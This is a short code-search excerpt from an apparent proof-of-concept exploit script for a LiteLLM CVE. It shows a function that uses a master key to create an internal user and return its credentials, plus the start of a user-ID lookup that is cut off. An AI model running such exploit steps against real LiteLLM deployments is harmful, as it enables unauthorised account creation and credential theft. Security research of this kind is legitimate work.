INNER CODE UNIT · Python

create_internal_user

Unclecheng-li/poc-lab · AI Infrastructure/CVE-2026-47101 LiteLLM/exploit/exploit.py:67

def create_internal_user(target: str, master_key: str) -> tuple[str, str]:
    url = f"{target.rstrip('/')}/user/new"
    resp = api_post(url, master_key, build_user_new_payload())
    data = safe_json(resp)
    if resp.status_code >= 300:
        raise RuntimeError(f"Failed to create internal user: HTTP {resp.status_code} {data}")
    user_id = data.get("user_id") or data.get("user", {}).get("user_id")
    key = data.get("key") or data.get("user", {}).get("key")
    if not user_id or not key:
        raise RuntimeError(f"Unexpected user creation response: {data}")
    return str(user_id), str(key)


def detect_user_id(target: str, token: str) -> str:
    url = f"{target.rstrip('/')}/user/info"
    resp = api_get(url, token)
    data = safe_json(resp)
    if resp.status_code >= 300:

View source record →